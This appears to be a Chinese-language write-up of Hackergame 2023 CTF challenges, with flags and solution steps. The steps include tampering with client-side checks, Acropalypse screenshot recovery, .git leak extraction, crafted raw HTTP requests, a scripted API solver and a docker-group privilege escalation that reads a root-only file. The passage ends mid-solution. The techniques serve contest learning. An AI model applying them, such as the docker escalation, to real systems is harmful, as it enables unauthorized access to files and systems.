0x0 前言这次HG刚好赶上公共假期，有时间研究，比去年要好多了，但也发现原来HG这么卷。凌晨3,4,5点都有人提交flag，麻了。友情链接wlt233 【CTF】writeup——hackergame 2023BenPigChu USTC Hackergame 2023 Writeup0x1 题目Hackergame 启动大声喊出 Hackergame 启动，开始今年的冒险！好活签到，Hackergame，启动！跟历年解题思路一致，提交后修改URL中的?similarity=100即可。flag{wE1CoMe-TO-hACkergAme-@nD-3nJOY-hAcKIN9-zoZ3}猫咪小测注意看，这只可爱的橙猫猫叫小喵。只要有阳光的地方就能见到它的身影，只要有鱼干的地方就能听到它的喵声。但今天的小喵有些不同，它的眼神充满了紧张与期待，因为一年一度的风云际会，大师喵主办的全校猫咪小测马上就要开始了。「在科大，即使身为猫咪，也要兼备充分的科大常识、扎实的数理基础、以及独立的科研能力」大师喵蹲坐在主席台上，目光炯炯。小喵乖巧地坐在课桌前，爪子紧按着用来答题的鼠标，似乎一松开鼠标就会自己溜走一样。不得不承认，这场小测并不容易。「生而为猫，我很抱歉」后排传来了一声沮丧而近乎绝望的呜咽，应该是今年刚入校的少年喵。本就有着比众喵更小的年龄，其当年足可引以为傲的天赋在科大里却也算不上什么，于是每次测验都只能位居末流。小喵还没来得及回头，大师喵「噌」地一下从讲台上腾跃而下，扑到后排那名猫咪的身前，用舌头细细梳理这名猫咪的后颈上的绒毛。「不可以这样说哦，静心努力你也可以做出来的喵~」啊，大师喵那一如既往的温柔。少年喵非常感动。「嗯嗯我明白了。それなら別の言い方をしよう：猫として生まれて、すみません」「给我好好做题（敲），不是要你换一种语言再说一遍啊（kusa）」「不愧是大师喵」，小喵钦佩地望着大师喵的身影。「这种说话还能带括号的技巧我也想学！」提示：解出谜题不需要是科大在校猫咪。解题遇到困难？你可以参考以下题解：2018 年猫咪问答题解2020 年猫咪问答++ 题解2021 年猫咪问答 Pro Max 题解2022 年猫咪问答喵题解参考历年题目，考察信息搜索能力。感觉今年题目比去年要简单些。想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》，应当前往中国科学技术大学西区图书馆的哪一层？Google搜索中国科学技术大学 "西区图书馆"得到一篇西区图书馆简介，可以看到外文书库位于12楼。今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文，请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距？Google arXiv 可观测宇宙中的鸡的密度上限 一篇知乎问题你见过哪些极品论文？的回答，其中可看到答案为23。为了支持 TCP BBR 拥塞控制算法，在编译 Linux 内核时应该配置好哪一条内核选项？Google linux 编译 bbr config查看各路大神的编译教程，可得答案为CONFIG_TCP_CONG_BBR。🥒🥒🥒：「我……从没觉得写类型标注有意思过」。在一篇论文中，作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码，并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上？Google搜索Python mypy infinite loop pdf可得一篇论文名为Python Type Hints Are Turing Complete，其中角标Logo为ECOOP 2023，ECOOP即为答案。flag1：flag{W3lc0m3-to-4tTENd-7hE-neko-3Xam-Zoz3}flag2：flag{r3Al-m4s73r-oF-the-NeK0-exaM-1n-uStc}更深更暗小 E 正在收看电视新闻。「诶，你知道吗，『泰坦』号潜水艇失事了！」小 E 对旁边的小 C 说。小 C 凑近电视机，看了一眼新闻里的画面。「是我眼花了吗？我刚刚有一瞬间好像在残骸上看到了一个 flag？」小 C 惊讶地说。「玩 CTF 玩的。」小 E 对此不以为然，「一定是你看错了。」小 C 却十分相信自己没有看错。打开F12，查看main.js，可以看到Flag算法明晃晃的写在其中。let token = params.get('token') || localStorage.getItem('token'); async function getFlag(token) { // Generate the flag based on user's token let hash = CryptoJS.SHA256(`dEEper_@nd_d@rKer_${token}`).toString(); return `flag{T1t@n_${hash.slice(0, 32)}}`; }在控制台中执行let hash = CryptoJS.SHA256(`dEEper_@nd_d@rKer_${localStorage.getItem('token')}`).toString(); console.log(`flag{T1t@n_${hash.slice(0, 32)}}`);即可获得结果。flag{T1t@n_xxxxxxxxxx}旅行照片 3.0你的学长去留学了，这一走短时间内怕是回不来了。于是，你在今年暑假来了一场计划已久的旅行，并顺路探望了这位久别的学长。翻阅当天拍下的照片，种种回忆和感慨油然而生。请观察照片并结合所有文字内容，正确回答题目以获取 flag。线索：Google识图这枚奖牌可知其为诺贝尔物理/化学奖奖牌。图二餐牌上写着らーめん 一信，搜索可以发现全日只有一家店，附近大学为东京大学。图二照片中学长戴着的身份牌绳上写着STATPHYS28，谷歌搜索可知日期为2023年8月7日至2023年8月11日之间。据描述可图三为博物馆前拍摄。Google识图图三得知这是上野公园，博物馆为东京国立博物馆。Google搜索tokyo national museum 2023 08 07可以找到博物馆官方的活动排期网站TOKYO NATIONAL MUSEUM - Exhibitions and Events What's on today: August 7, 2023 (Mon) (tnm.jp)。发现在这期间的特别活动是古代メキシコ展 - Ancient Mexico: Maya, Aztec, and Teotihuacan。活动网站为特別展「古代メキシコ」 公式サイト (exhibit.jp)8月7日这天还是儿童节活动。古代メキシコ展 「こどもの日」。イベント（東京会場）/ 特別展 古代メキシコ (exhibit.jp)官方网站可以看到东京会场大学生票价为1400日元。チケット（東京会場） / 特別展 古代メキシコ (exhibit.jp) 或 TOKYO NATIONAL MUSEUM - Exhibitions and Events Regular Exhibitions Japanese Archaeology and Special Exhibition (Heiseikan) Ancient Mexico: Maya, Aztec, and Teotihuacan (tnm.jp)Google地图上查看博物馆附近大学可以找到东京艺术大学，东京大学。距离拉面馆最近的大学推测为东京大学。题目 1-2你还记得与学长见面这天是哪一天吗？（格式：yyyy-mm-dd）线索3。答案范围为2023-08-07至2023-08-11，穷举得到2023-08-10。在学校该展厅展示的所有同种金色奖牌的得主中，出生最晚者获奖时所在的研究所缩写是什么？线索1, 2, 5。Google搜索tokyo university nobel prize可以找到东京大学官方关于校内诺贝尔奖的介绍。UTokyo and the Nobel Prize: A Look Back at the Achievements of Our Alumni Nobel Laureates, in their Own Words | The University of Tokyo (u-tokyo.ac.jp)踩坑找到诺贝尔物理/化学奖得主中出生最晚的是Ei-ichi Negishi 根岸英一。结果不对，题目要求的是该展厅展示的。重新搜索关键词university of tokyo nobel prize exhibits找到Nobel Prize (u-tokyo.ac.jp)。其中可看到出生最晚的是Takaaki Kajita 梶田隆章。描述中提到他所属Institute for Cosmic Radiation Research at the University of Tokyo。Google搜索可得答案为ICRR flag{how_I_wi5h_i_COulD_w1N_A_Nobe1_pri23_80459bbac7}题目 3-4帐篷中活动招募志愿者时用于收集报名信息的在线问卷的编号（以字母 S 开头后接数字）是多少？踩完线索4里的坑，解完题目1-2，推特搜索上野公園 until:2023-08-11 since:2023-08-07。再加上题目1穷尽出的日期日期8月10日。着重查看当天的推文，可以看到当天的活动是梅酒祭 X 上的 いちご大福：“上野公園の梅酒祭り。Google搜索上野公園の梅酒祭り找到官方网站说明全国梅酒まつりin東京2023｜全国梅酒まつり (umeshu-matsuri.jp)。下滑到会場情報可以看到招募工作人员的链接ボランティアSTAFF大募集！！第６回「全国梅酒まつりin東京2023」｜全国梅酒まつり (umeshu-matsuri.jp)。其中就有募集表单地址：https://ws.formzu.net/fgen/S495584522/。所以答案是S495584522。学长购买自己的博物馆门票时，花费了多少日元？线索4踩坑几个试了都错误，突发奇想填了个0元正确了。然后找了下是东京大学学生参加常规展览无限次免费，国立博物館・美術館の利用 | 東京大学 (u-tokyo.ac.jp)。 flag{PluM_w1NE_1S_rEa1LY_EXpen5iVE_1680fe1496}题目 5-6学长当天晚上需要在哪栋标志性建筑物的附近集合呢？（请用简体中文回答，四个汉字）踩乗船場所 | 東京・横浜の貸切クルーズ専門 リュクスクルーズ (charter-cruiser.com)レインボーブリッジ | 東京・横浜の貸切クルーズ専門 リュクスクルーズ (charter-cruiser.com)这题各种关键词搜了快一天，还是没解出来...但我知道了船游东京的方式，家人们瞧瞧：有现代化乘船体验的TOKYO CRUISE，浅草码头、天王洲等出发。有餐饮体验的晴海屋屋形船，吾妻桥出发。有怀旧体验的江户前汽船，品川船清出发。有夏日祭体验的东京湾纳凉船，竹芝码头出发。有公交车体验的SKY Duck台场或晴空塔出发。有公园体验的TOKYO WATER TAXI，随心出发。后来有想到可能和学术之旅有关，但是不知道东大有哪些活动，暂时弃了。进站时，你在 JR 上野站中央检票口外看到「ボタン＆カフリンクス」活动正在销售动物周边商品，该活动张贴的粉色背景海报上是什么动物（记作 A，两个汉字）？ 在出站处附近建筑的屋顶广告牌上，每小时都会顽皮出现的那只 3D 动物是什么品种？（记作 B，三个汉字）？（格式：A-B）A: 推特搜索ボタンアンドカフリンクス能找到活动海报(https://twitter.com/panda_life/status/1688436626895331328。动物是熊猫。B: Google搜索JR 上野駅 。翻了翻用户照片，没有找到广告牌。然后从正面口进街景地图，一路找到広小路口，发现这里是多数用户拍照的出入口。四周观察了下看到出入口正对面有个小型LED广告屏幕中央通り - Google 地图，上面写着NAGATA。Google图片搜索关键词上野駅 NAGATA，第一个结果就是4月, 2022 - 長田広告 | LED COMMUNITY VISION (nagata-lcv.com)。进入文章JR上野駅広小路口前スポーツジュエン屋上 - 長田広告 | LED COMMUNITY VISION (nagata-lcv.com)，下翻内容部分有个YouTube视频3D猫头鹰展示。猜测猫头鹰可能就是他们家广告屏的固定展示内容了。熊猫-猫头鹰 猜对一半。赛博井字棋那一年的人机大战，是 AlphaGo 对阵柯洁，最终比分 3-0。当时我看见柯洁颓坐在椅子上泣不成声，这个画面我永生难忘。那一刻我在想，如果我能成为一名棋手，我一定要赢下人工智能。如今 AI 就在眼前，我必须考虑这会不会是我此生仅有的机会。重铸人类围棋荣光，我辈义不容辞！……但是围棋实在太难了，你决定先从井字棋开始练习。F12看script.js和提交的数据，可得知提交格式{"x": "0","y": "0"}。首先试了试提交过界数值，发现没反应，然后尝试把x改成0,1,2连续提交发现成了。那这题就是只做了前端校验，没做后端校验，把对手棋子覆盖了。flag{I_can_eat_your_pieces_707465548e}奶奶的睡前 flag 故事（以下内容由 GPT 辅助编写，如有雷同纯属巧合）晴空万里的假期终于拍了拍翅膀飞来了。对于一心想扔掉教材、砸掉闹钟、跃向世界的 L 同学来说，期待了整整三年的跨国旅游大业终于是时候启动了，还能巧妙地顺带着做个美满的老友记。可是，哎哟喂，他刚踩上波光粼粼的金沙海滩，那他最疼爱的华为手机就跟着海风一起去约会了大海，连他的钱包也在这场未知探索之旅中神秘失踪。「这个地方怎么连个华为手机都不卖。若是买个苹果手机，心疼的是它连个实体 SIM 卡槽都藏起来了，回国肯定成了个大摆设。不如来个谷歌的『亲儿子』？」L 同学踌躇满志地嘀咕道。那时，像是上天的安排，「咱这儿正好有个谷歌『亲儿子』的老手机，你拿去逍遥吧」。L 同学满眼星光地接过，连系统都没心思升级，就开始疯狂安装那个久闻大名的 GPT 程序，甚至雀跃地在群里晒出一张跟 GPT 对话的精彩截图，一时间成为了群里的焦点人物。提取题目的加粗部分信息，Google搜索pixel 截图 漏洞得到本题利用漏洞为Acropalypse。GitHub能找到个工具GitHub - frankthetank-music/Acropalypse-Multi-Tool: Easily detect and restore Acropalypse vulnerable PNG and GIF files with simple Python GUI.。跑起来选Restoring Tool，丢图片进去选Pixel手机运行即可出结果。flag{sh1nj1ru_k0k0r0_4nata_m4h0}「信じる心があなたの魔法よ」组委会模拟器每年比赛，组委会的一项重要工作就是时刻盯着群，并且撤回其中有 flag 的消息。今年因为人手紧张，组委会的某名同学将这项工作外包给了你，你需要连续审查 1000 条消息，准确无误地撤回其中所有含 flag 的消息，并且不撤回任何不含 flag 的消息。本题中，你需要撤回的 "flag" 的格式为 hack[...]，其中方括号内均为小写英文字母，点击消息即可撤回。你需要在 3 秒内撤回消息，否则撤回操作将失败。在全部消息显示完成后等待几秒，如果你撤回的消息完全正确（撤回了全部需要撤回的消息，并且未将不需要撤回的消息撤回），就能获得本题真正的 flag。F12，手动撤回几条消息后查看请求发现共有3个API/api/getMessages包含全量消息。/api/deleteMessage提交撤回的消息ID，返回撤回结果。/api/getflag按时间循环完全部消息后调用获取flag。请求上打断点能溯源找到源码的位置QQChat.vue。 created() { const urlParams = new URLSearchParams(window.location.search) axios .get('/api/checkToken', { params: urlParams }) .then(() => { // 清除 URL 栏的 query window.history.replaceState({}, '', '/') axios .post('/api/getMessages') .then((res) => { const data = res.data as BackendResponse const messages: BackendMessage[] = data.messages this.count = messages.length for (const message of messages) { this.timers.push( setTimeout(() => { this.messages.push({ name: this.randomString(), // random username message: message.text, type: 'NormalMessage', }) this.count = (this.count as number) - 1 // wait for DOM render this.$nextTick(() => { // try get fake container element and init onscroll event if (!this.fakeContainerElement) { this.fakeContainerElement = document.querySelector('.fakeqq-container') if (this.fakeContainerElement) { // init onscroll event only once this.fakeContainerElement.onscroll = () => { const offsetHeight = this.fakeContainerElement?.offsetHeight ?? 0 const scrollHeight = this.fakeContainerElement?.scrollHeight ?? 0 const scrollTop = this.fakeContainerElement?.scrollTop ?? 0 if (offsetHeight + scrollTop >= scrollHeight - 10) { this.stopScroll = false } else { this.stopScroll = true } } } } if (!this.stopScroll) { this.currentScrollHeight = this.fakeContainerElement?.scrollHeight ?? 0 this.fakeContainerElement?.scrollTo(0, this.currentScrollHeight) } }) }, message.delay * 1000) ) } this.timers.push( setTimeout(() => { axios .post('/api/getflag') .then((res) => { const data = res.data if (data.success) { alert('恭喜你，flag 是：' + data.flag) } else { alert('获取 flag 失败，原因：' + data.error) } }) .catch(() => { alert('网络错误，请刷新页面重新开始') }) }, messages[messages.length - 1].delay * 1000 + 5000) ) }) .catch(() => { alert('网络错误，请刷新页面重新开始') }) }) .catch(() => { window.location.href = '/api/checkToken' }) },有两个解题思路，一是hook前端调用撤回方法实现自动撤回消息，二是模拟请求。这里选取第二种较易实现，看源码可以发现就是简单的根据服务器返回的delay值setTimeout()循环。答案实现代码：import requests import re import sys from threading import Timer BASE_URL = 'http://202.38.93.111:10021' COOKIE = '' headers = { 'Connection': 'keep-alive', 'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.30', 'X-Requested-With': 'XMLHttpRequest', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7,zh-TW;q=0.6', 'Cookie': COOKIE } def set_time_out(fn, s, *args, **kwargs): t = Timer(s, fn, args=args, kwargs=kwargs) t.start() return t def revoke_msg(msg_id, content): print(f'revoke msg {msg_id} {content}') res = requests.post(f'{BASE_URL}/api/deleteMessage', headers=headers, json={'id': msg_id}) if '"success":true' not in res.text: print(res.text) sys.exit(1) def get_flag(): print(requests.post(f'{BASE_URL}/api/getflag', headers=headers).text) msgs = requests.post(f'{BASE_URL}/api/getMessages', headers=headers).json()['messages'] i = 0 for m in msgs: regex = r'hack\[[a-z]+\]' if re.search(regex, m['text']): set_time_out(revoke_msg, m['delay'] + 0.5, i, m['text']) i += 1 set_time_out(get_flag, msgs[-1]['delay'] + 5) flag{Web_pr0gra_mm1ng_f1752a443c_15fun}虫「生而为人，应该能够换尿布、策划入侵、杀猪、开船、造房子、写十四行诗、算账、建墙、正骨、抚慰临终之人、接受命令、下达命令、合作、独行、解决方程式、分析新问题、清理马粪、编程、烹饪美食、高效战斗、英勇牺牲。专业分工是给昆虫准备的。」—罗伯特·海莱恩（Robert Heinlein）你觉得还是当昆虫轻松一些。这时，你看到一只昆虫落在你面前，发出奇怪的叫声。你把这段声音录制了下来：这听起来像是一种通过无线信道传输图片的方式，如果精通此道，或许就可以接收来自国际空间站（ISS）的图片了。打开/下载题目根据题干关键词搜索无线电传输图片 国际空间站可以找到很多接受空间站图片SSTV信号相关文章。得到关键词SSTV。继续搜索sstv audio decoder找到GitHub - colaclanth/sstv: SSTV Decoder。sstv -d insect.wav -o result.png即可解出。flag{SSssTV_y0u_W4NNa_HaV3_4_trY}Git? Git!「幸亏我发现了……」马老师长吁了一口气。「马老师，发生甚么事了？」马老师的一位英国研究生问。「刚刚一不小心，把 flag 提交到本地仓库里了。」马老师回答，「还好我发现了，撤销了这次提交，不然就惨了……」「这样啊，那太好了。」研究生说。马老师没想到的是，这位年轻人不讲武德，偷偷把他的本地仓库拷贝到了自己的电脑上，然后带出了实验室，想要一探究竟……打开/下载题目看题目考察的是Git信息泄露，Google搜索git 泄露出来许多结果，其中从git原理角度浅谈.git泄露利用原理-安全客这边讲解的比较细致。且文中提到了两个轮子，测试GitHub - gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具可以直接完成还原。克隆后直接运行python2 git_extract.py ../ML-Course-Notes/.git，可以发现根目录多了两个哈希结尾的README文件。都丢进Diff工具里查看差异即可得到flag。flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t}JSON ⊂ YAML?你知道吗？Hackergame 出题时，每道题都需要出题人用 YAML 格式写下题目的关键信息。然而，每年总有一些出题人在编写 YAML 文件时被复杂的语法规则弄得头疼不已。这天小 Z 又找到小 W 说：「我昨天写 YAML 时，又花了半天研究 YAML 的规范，YAML 好难啊！」小 W 惊讶道：「怎么会有人不会写 YAML 呢？只要你会写 JSON 就会写 YAML 呀，因为任何合法的 JSON 本身就是合法的 YAML。」小 Z 听闻这番言论后当场表示怀疑，立刻说出了一个字符串，JSON 和 YAML 解析出的含义存在差异。小 W 研究了一番才发现，这是因为很多主流的 YAML 库仍然是 YAML 1.1 的，它没有这个性质。他不得不承认：「好吧，这个性质只适用于 YAML 1.2。」小 Z 笑了：「别提 YAML 1.2 了，它遇到合法的 JSON 都有可能报错。」下载题目源代码你可以通过 nc 202.38.93.111 10096 来连接，或者点击下面的「打开/下载题目」按钮通过网页终端与远程交互。啊？原来YAML是JSON超集吗？用了这么久却不知道，对不起，我退群。JSON ⊄ YAML 1.1根据题意搜索关键词yaml json inconsistent能找到 What valid JSON files are not valid YAML 1.1 files? - Stack Overflow 这个问题中。其中指出12345e999在YAML中是字符串，在JSON中是无限大。甚至问题中有提出YAML 1.2的限制是不能存在重复Key。那么第一题提交{"t":12345e999}即可。flag{faf9facd7c9d64f74a4a746468400a5052647c697d}JSON ⊄ YAML 1.2第一题中找到的问题中已经提到了YAML 1.2的限制YAML 1.2 is (with one minor caveat regarding duplicate keys) a superset of JSON打开给出的链接可以看到详情JSON's RFC4627 requires that mappings keys merely “SHOULD” be unique, while YAML insists they “MUST” be. Technically, YAML therefore complies with the JSON spec, choosing to treat duplicates as an error. In practice, since JSON is silent on the semantics of such duplicates, the only portable JSON files are those with unique keys, which are therefore valid YAML files.那么第二题提交{"t": 1,"t":12345e999}即可。flag{b1c73f14d04db546b7e7e24cf1cc72529cf1d012d7}HTTP 集邮册「HTTP 请求一瞬间就得到了响应，但是，HTTP 响应的 status line、header 和 body 都是确实存在的。如果将一个一个 HTTP 状态码收集起来，也许就能变成……变成……变成……」「flag？」「就能变成 flag！」本题中，你可以向一个 nginx 服务器（对应的容器为默认配置下的 nginx:1.25.2-bookworm）发送 HTTP 请求。你需要获取到不同的 HTTP 响应状态码以获取 flag，其中：获取第一个 flag 需要收集 5 种状态码；获取第二个 flag 需要让 nginx 返回首行无状态码的响应（不计入收集的状态码中）；获取第三个 flag 需要收集 12 种状态码。关于无状态码的判断逻辑如下：没有状态……哈？HTTP 的发展 - HTTP | MDN (mozilla.org)跟后来的版本不同，HTTP/0.9 的响应内容并不包含 HTTP 头。这意味着只有 HTML 文件可以传送，无法传输其他类型的文件。也没有状态码或错误代码。发送GET / \r\n\r\n得到flag。flag{great backward compatibility of nginx, R1ght?}5 种状态码12 种状态码考察HTTP基础知识，想起哪个发哪个，想不起就翻HTTP 响应状态码 - HTTP | MDN (mozilla.org)。200 OKGET / HTTP/1.1\r\n Host: example.com\r\n\r\n304 Not ModifiedGET / HTTP/1.1\r\n Host: example.com\r\n If-None-Match: "64dbafc8-267"\r\n\r\n400 Bad RequestGET / HTTP/1.1\r\n Hos: example.com\r\n\r\n404 Not FoundGET /114514 HTTP/1.1\r\n Host: example.com\r\n\r\n405 Not AllowedPWN / HTTP/1.1\r\n Host: example.com\r\n\r\n505 HTTP Version Not SupportedGET / HTTP/114514\r\n Host: example.com\r\n\r\n414 Request-URI Too LargeGET /南无、喝啰怛那、哆啰夜耶，南无、阿唎耶，婆卢羯帝、烁钵啰耶，菩提萨埵婆耶，摩诃萨埵婆耶，摩诃、迦卢尼迦耶，唵，萨皤啰罚曳，数怛那怛写，南无、悉吉栗埵、伊蒙阿唎耶，婆卢吉帝、室佛啰楞驮婆，南无、那啰谨墀，醯利摩诃、皤哆沙咩，萨婆阿他、豆输朋，阿逝孕，萨婆萨哆、那摩婆萨哆，那摩婆伽，摩罚特豆。怛侄他。唵，阿婆卢醯。卢迦帝。迦罗帝。夷醯唎。摩诃菩提萨埵，萨婆萨婆。摩啰摩啰，摩醯摩醯、唎驮孕。俱卢俱卢、羯蒙。度卢度卢、罚阇耶帝。摩诃罚阇耶帝。陀啰陀啰。地唎尼。室佛啰耶。遮啰遮啰。摩么罚摩啰。穆帝隶。伊醯伊醯。室那室那。阿啰参、佛啰舍利。罚沙罚参。佛啰舍耶。呼嚧呼嚧摩啰。呼嚧呼嚧醯利。娑啰娑啰，悉唎悉唎。苏嚧苏嚧。菩提夜、菩提夜。菩驮夜、菩驮夜。弥帝唎夜。那啰谨墀。地利瑟尼那。婆夜摩那。娑婆诃。悉陀夜。娑婆诃。摩诃悉陀夜。娑婆诃。悉陀喻艺。室皤啰耶。娑婆诃。那啰谨墀。娑婆诃。摩啰那啰。娑婆诃。悉啰僧、阿穆佉耶，娑婆诃。娑婆摩诃、阿悉陀夜。娑婆诃。者吉啰、阿悉陀夜。娑婆诃。波陀摩、羯悉陀夜。娑婆诃。那啰谨墀、皤伽啰耶。娑婆诃。摩婆利、胜羯啰夜。娑婆诃。南无、喝啰怛那、哆啰夜耶，南无、阿唎耶。婆嚧吉帝。烁皤啰夜。娑婆诃。唵，悉殿都。漫多啰。跋陀耶，娑婆诃。南无、喝啰怛那、哆啰夜耶，南无、阿唎耶，婆卢羯帝、烁钵啰耶，菩提萨埵婆耶，摩诃萨埵婆耶，摩诃、迦卢尼迦耶，唵，萨皤啰罚曳，数怛那怛写，南无、悉吉栗埵、伊蒙阿唎耶，婆卢吉帝、室佛啰楞驮婆，南无、那啰谨墀，醯利摩诃、皤哆沙咩，萨婆阿他、豆输朋，阿逝孕，萨婆萨哆、那摩婆萨哆，那摩婆伽，摩罚特豆。怛侄他。唵，阿婆卢醯。卢迦帝。迦罗帝。夷醯唎。摩诃菩提萨埵，萨婆萨婆。摩啰摩啰，摩醯摩醯、唎驮孕。俱卢俱卢、羯蒙。度卢度卢、罚阇耶帝。摩诃罚阇耶帝。陀啰陀啰。地唎尼。室佛啰耶。遮啰遮啰。摩么罚摩啰。穆帝隶。伊醯伊醯。室那室那。阿啰参、佛啰舍利。罚沙罚参。佛啰舍耶。呼嚧呼嚧摩啰。呼嚧呼嚧醯利。娑啰娑啰，悉唎悉唎。苏嚧苏嚧。菩提夜、菩提夜。菩驮夜、菩驮夜。弥帝唎夜。那啰谨墀。地利瑟尼那。婆夜摩那。娑婆诃。悉陀夜。娑婆诃。摩诃悉陀夜。娑婆诃。悉陀喻艺。室皤啰耶。娑婆诃。那啰谨墀。娑婆诃。摩啰那啰。娑婆诃。悉啰僧、阿穆佉耶，娑婆诃。娑婆摩诃、阿悉陀夜。娑婆诃。者吉啰、阿悉陀夜。娑婆诃。波陀摩、羯悉陀夜。娑婆诃。那啰谨墀、皤伽啰耶。娑婆诃。摩婆利、胜羯啰夜。娑婆诃。南无、喝啰怛那、哆啰夜耶，南无、阿唎耶。婆嚧吉帝。烁皤啰夜。娑婆诃。唵，悉殿都。漫多啰。跋陀耶，娑婆诃。南无、喝啰怛那、哆啰夜耶，南无、阿唎耶，婆卢羯帝、烁钵啰耶，菩提萨埵婆耶，摩诃萨埵婆耶，摩诃、迦卢尼迦耶，唵，萨皤啰罚曳，数怛那怛写，南无、悉吉栗埵、伊蒙阿唎耶，婆卢吉帝、室佛啰楞驮婆，南无、那啰谨墀，醯利摩诃、皤哆沙咩，萨婆阿他、豆输朋，阿逝孕，萨婆萨哆、那摩婆萨哆，那摩婆伽，摩罚特豆。怛侄他。唵，阿婆卢醯。卢迦帝。迦罗帝。夷醯唎。摩诃菩提萨埵，萨婆萨婆。摩啰摩啰，摩醯摩醯、唎驮孕。俱卢俱卢、羯蒙。度卢度卢、罚阇耶帝。摩诃罚阇耶帝。陀啰陀啰。地唎尼。室佛啰耶。遮啰遮啰。摩么罚摩啰。穆帝隶。伊醯伊醯。室那室那。阿啰参、佛啰舍利。罚沙罚参。佛啰舍耶。呼嚧呼嚧摩啰。呼嚧呼嚧醯利。娑啰娑啰，悉唎悉唎。苏嚧苏嚧。菩提夜、菩提夜。菩驮夜、菩驮夜。弥帝唎夜。那啰谨墀。地利瑟尼那。婆夜摩那。娑婆诃。悉陀夜。娑婆诃。摩诃悉陀夜。娑婆诃。悉陀喻艺。室皤啰耶。娑婆诃。那啰谨墀。娑婆诃。摩啰那啰。娑婆诃。悉啰僧、阿穆佉耶，娑婆诃。娑婆摩诃、阿悉陀夜。娑婆诃。者吉啰、阿悉陀夜。娑婆诃。波陀摩、羯悉陀夜。娑婆诃。那啰谨墀、皤伽啰耶。娑婆诃。摩婆利、胜羯啰夜。娑婆诃。南无、喝啰怛那、哆啰夜耶，南无、阿唎耶。婆嚧吉帝。烁皤啰夜。娑婆诃。唵，悉殿都。漫多啰。跋陀耶，娑婆诃。HTTP/1.1\r\n Host: example.com\r\n\r\n206 Partial ContentGET / HTTP/1.1\r\n Range: bytes=1-\r\n Host: example.com\r\n\r\n416 Requested Range Not SatisfiableGET / HTTP/1.1\r\n Range: bytes=-1-\r\n Host: example.com\r\n\r\n100 ContinueGET / HTTP/1.1\r\n Expect: 100-continue\r\n Host: example.com\r\n\r\n\r\n集邮出10/12个，未爆flag。Docker for EveryoneX 是实验室机器的管理员，为了在保证安全的同时让同学们都用上 docker，他把同学的账号加入了 docker 用户组，这样就不需要给同学 sudo 权限了！但果真如此吗？提供的环境会自动登录低权限的 hg 用户。登录后的提示信息显示了如何在该环境中使用 docker。读取 /flag（注意其为软链接）获取 flag。题目环境运行 15 分钟后会自动关闭。你可以在下面列出的两种方法中任选其一来连接题目：点击下面的「打开/下载题目」按钮通过网页终端与远程交互。如果采用这种方法，在正常情况下，你不需要手动输入 token。在 Linux、macOS、WSL 或 Git Bash 等本地终端中使用 stty raw -echo; nc 202.38.93.111 10338; stty sane 命令来连接题目。如果采用这种方法，你必须手动输入 token（复制粘贴也可）。注意，输入的 token 不会被显示，输入结束后按 Ctrl-J 即可开始题目。无论采用哪种方法连接题目，启动题目均需要数秒时间，出现黑屏是正常现象，请耐心等待。按照题意，给了所有人docker运行权限，且docker运行在root用户下。直接映射/flag至容器中即可打印内容。docker run -it --rm -v /flag:/flag alpineflag{u5e_r00t1ess_conta1ner_90d889fb0b_plz!}惜字如金 2.0惜字如金一向是程序开发的优良传统。无论是「creat」还是「referer」，都无不闪耀着程序员「节约每句话中的每一个字母」的优秀品质。上一届信息安全大赛组委会在去年推出「惜字如金化」（XZRJification）标准规范后，受到了广大程序开发人员的好评。现将该标准辑录如下。惜字如金化标准惜字如金化指的是将一串文本中的部分字符删除，从而形成另一串文本的过程。该标准针对的是文本中所有由 52 个拉丁字母连续排布形成的序列，在下文中统称为「单词」。一个单词中除「AEIOUaeiou」外的 42 个字母被称作「辅音字母」。整个惜字如金化的过程按照以下两条原则对文本中的每个单词进行操作：第一原则（又称 creat 原则）：如单词最后一个字母为「e」或「E」，且该字母的上一个字母为辅音字母，则该字母予以删除。第二原则（又称 referer 原则）：如单词中存在一串全部由完全相同（忽略大小写）的辅音字母组成的子串，则该子串仅保留第一个字母。容易证明惜字如金化操作是幂等的：惜字如金化多次和惜字如金化一次的结果相同。你的任务附件包括了一个用于打印本题目 flag 的程序，且已经经过惜字如金化处理。你需要做的就是得到程序的执行结果。附注本文已经过惜字如金化处理。解答本题不需要任何往届比赛的相关知识。打开/下载题目查看去年题解是看字符出现可能性进行枚举。cod_dict += ['nymeh1niwemflcir}echaet'] cod_dict += ['a3g7}kidgojernoetlsup?h'] cod_dict += ['ulw!f5soadrhwnrsnstnoeq'] cod_dict += ['ct{l-findiehaai{oveatas'] cod_dict += ['ty9kxborszstguyd?!blm-p']结合代码里check_equals(set(len(s) for s in cod_dict), {24})可知每个串中删除了一个字符。首先根据第一原则，每个串结尾可能都是e，测试下把所有串结尾都加上一个特殊字符并打印flag。得到5laulyoufeepr3cvees3df7weparsn3sfr1gwn!}观察发现虽然未出现特殊字符，但是结尾是}正确，确有正常的单词you，疑似单词pars(e)。那么可能有一串的结尾是e被撞对了，且只能是存在}第一或第二串。分别尝试在首位添加字符后打印发现是第二串可能为a3g7}kidgojernoetlsup?he。再观察密文flagflag = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90, 17, 118, 36, 25, 13, 89, 90, 3, 63, 25, 31, 77, 27, 60, 3, 118, 24, 62, 54, 61, 25, 63, 77, 36, 5, 32, 60, 67, 113, 28])看最后一个字符所在索引为28，可以肯定第二串撞对了。接着我们知道flag的前5位必为flag{，及其对应的索引53, 41, 85, 109, 75。打印下字符列表idx = 0 for s in cod_dict: for c in s: print(c + "\t", end="") print() for c in s: print(str(idx) + "\t", end="") idx += 1 print()得到 